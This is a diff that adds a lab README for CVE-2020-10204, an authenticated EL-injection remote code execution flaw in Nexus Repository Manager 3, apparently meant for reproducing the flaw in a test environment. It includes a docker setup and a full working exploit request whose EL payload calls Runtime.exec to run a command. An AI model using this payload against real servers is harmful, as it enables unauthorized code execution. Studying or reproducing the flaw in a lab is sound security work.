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+# Nexus Repository Manager 3 Authenticated Remote Code Execution (CVE-2020-10204)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Nexus Repository Manager is a repository manager that organizes, stores and distributes artifacts needed for development.
+
+In the version <= 3.21.1, a EL injection vulnerability has been discovered that allows for an attacker with an administrative account on Nexus Repository to execute arbitrary code by crafting a malicious request to Nexus Repository. This issue is patch bypass of CVE-2018-16621.
+
+References:
+
+- https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
+- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10204/README.md
+- https://github.com/jas502n/CVE-2020-10199
+
+## Vulnerable environment
+
+Execute following command to start a Nexus Repository Manager version 3.21.1:
+
+```
+docker compose up -d
+```
+
+After the server is started, browse `http://your-ip:8081` to see the home page of Nexus. Login the admin panel with administrator account `admin:admin` and finish the initialize wizard.
+
+## Exploit
+
+Copy your cookie and CSRF token then send following request:
+
+```
+POST /service/extdirect HTTP/1.1
+Host: your-ip
+Content-Length: 223
+X-Requested-With: XMLHttpRequest
+X-Nexus-UI: true
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
+NX-ANTI-CSRF-TOKEN: [csrf-token]
+Content-Type: application/json
+Accept: */*
+Origin: http://192.168.1.3:8081
+Referer: http://192.168.1.3:8081/
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Cookie: NX-ANTI-CSRF-TOKEN=[csrf-token]; NXSESSIONID=[sessionid]
+Connection: close
+
+{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}
+```
+
+As you can see, EL expression `233*233` is executed:
+
+![](1.png)
+
+Refer to <https://github.com/jas502n/CVE-2020-10199>, use EL expression payload `$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}` to execute command `touch /tmp/success`:
+
+![](2.png)